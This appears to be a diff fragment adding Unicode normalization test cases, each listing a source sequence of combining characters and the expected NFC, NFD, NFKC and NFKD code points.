+{ source: [0x0061, 0x06D8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06D8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06D8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06D8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06D8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06D9, 0x0062], NFC: [0x00E0, 0x05AE, 0x06D9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06D9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06D9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06D9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06D9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06D9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06D9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06D9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06D9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06DA, 0x0062], NFC: [0x00E0, 0x05AE, 0x06DA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06DA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06DA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06DA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06DA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06DA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06DA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06DA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06DA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06DB, 0x0062], NFC: [0x00E0, 0x05AE, 0x06DB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06DB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06DB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06DB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06DB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06DB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06DB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06DB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06DB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06DC, 0x0062], NFC: [0x00E0, 0x05AE, 0x06DC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06DC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06DC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06DC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06DC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06DC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06DC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06DC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06DC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06DF, 0x0062], NFC: [0x00E0, 0x05AE, 0x06DF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06DF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06DF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06DF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06DF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06DF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06DF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06DF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06DF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06E0, 0x0062], NFC: [0x00E0, 0x05AE, 0x06E0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06E0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06E0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06E0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06E0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06E0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06E0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06E0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06E0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06E1, 0x0062], NFC: [0x00E0, 0x05AE, 0x06E1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06E1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06E1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06E1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06E1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06E1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06E1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06E1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06E1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06E2, 0x0062], NFC: [0x00E0, 0x05AE, 0x06E2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06E2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06E2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06E2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06E2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06E2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06E2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06E2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06E2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x06E3, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x06E3, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x06E3, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x06E3, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x06E3, 0x059A, 0x0062] },
+{ source: [0x0061, 0x06E3, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x06E3, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x06E3, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x06E3, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x06E3, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06E4, 0x0062], NFC: [0x00E0, 0x05AE, 0x06E4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06E4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06E4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06E4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06E4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06E4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06E4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06E4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06E4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06E7, 0x0062], NFC: [0x00E0, 0x05AE, 0x06E7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06E7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06E7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06E7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06E7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06E7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06E7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06E7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06E7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06E8, 0x0062], NFC: [0x00E0, 0x05AE, 0x06E8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06E8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06E8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06E8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06E8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06E8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06E8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06E8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06E8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x06EA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x06EA, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x06EA, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x06EA, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x06EA, 0x059A, 0x0062] },
+{ source: [0x0061, 0x06EA, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x06EA, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x06EA, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x06EA, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x06EA, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06EB, 0x0062], NFC: [0x00E0, 0x05AE, 0x06EB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06EB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06EB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06EB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06EB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06EB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06EB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06EB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06EB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06EC, 0x0062], NFC: [0x00E0, 0x05AE, 0x06EC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06EC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06EC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06EC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06EC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06EC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06EC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06EC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06EC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x06ED, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x06ED, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x06ED, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x06ED, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x06ED, 0x059A, 0x0062] },
+{ source: [0x0061, 0x06ED, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x06ED, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x06ED, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x06ED, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x06ED, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0C55, 0x0711, 0x0670, 0x0711, 0x0062], NFC: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062], NFD: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062], NFKC: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062], NFKD: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062] },
+{ source: [0x0061, 0x0711, 0x0C55, 0x0711, 0x0670, 0x0062], NFC: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062], NFD: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062], NFKC: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062], NFKD: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0730, 0x0062], NFC: [0x00E0, 0x05AE, 0x0730, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0730, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0730, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0730, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0730, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0730, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0730, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0730, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0730, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0731, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0731, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0731, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0731, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0731, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0731, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0731, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0731, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0731, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0731, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0732, 0x0062], NFC: [0x00E0, 0x05AE, 0x0732, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0732, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0732, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0732, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0732, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0732, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0732, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0732, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0732, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0733, 0x0062], NFC: [0x00E0, 0x05AE, 0x0733, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0733, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0733, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0733, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0733, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0733, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0733, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0733, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0733, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0734, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0734, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0734, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0734, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0734, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0734, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0734, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0734, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0734, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0734, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0735, 0x0062], NFC: [0x00E0, 0x05AE, 0x0735, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0735, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0735, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0735, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0735, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0735, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0735, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0735, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0735, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0736, 0x0062], NFC: [0x00E0, 0x05AE, 0x0736, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0736, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0736, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0736, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0736, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0736, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0736, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0736, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0736, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0737, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0737, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0737, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0737, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0737, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0737, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0737, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0737, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0737, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0737, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0738, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0738, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0738, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0738, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0738, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0738, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0738, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0738, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0738, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0738, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0739, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0739, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0739, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0739, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0739, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0739, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0739, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0739, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0739, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0739, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x073A, 0x0062], NFC: [0x00E0, 0x05AE, 0x073A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x073A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x073A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x073A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x073A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x073A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x073A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x073A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x073A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x073B, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x073B, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x073B, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x073B, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x073B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x073B, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x073B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x073B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x073B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x073B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x073C, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x073C, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x073C, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x073C, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x073C, 0x059A, 0x0062] },
+{ source: [0x0061, 0x073C, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x073C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x073C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x073C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x073C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x073D, 0x0062], NFC: [0x00E0, 0x05AE, 0x073D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x073D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x073D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x073D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x073D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x073D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x073D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x073D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x073D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x073E, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x073E, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x073E, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x073E, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x073E, 0x059A, 0x0062] },
+{ source: [0x0061, 0x073E, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x073E, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x073E, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x073E, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x073E, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x073F, 0x0062], NFC: [0x00E0, 0x05AE, 0x073F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x073F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x073F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x073F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x073F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x073F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x073F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x073F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x073F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0740, 0x0062], NFC: [0x00E0, 0x05AE, 0x0740, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0740, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0740, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0740, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0740, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0740, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0740, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0740, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0740, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0741, 0x0062], NFC: [0x00E0, 0x05AE, 0x0741, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0741, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0741, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0741, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0741, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0741, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0741, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0741, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0741, 0x0300, 0x0315, 0x0062] },
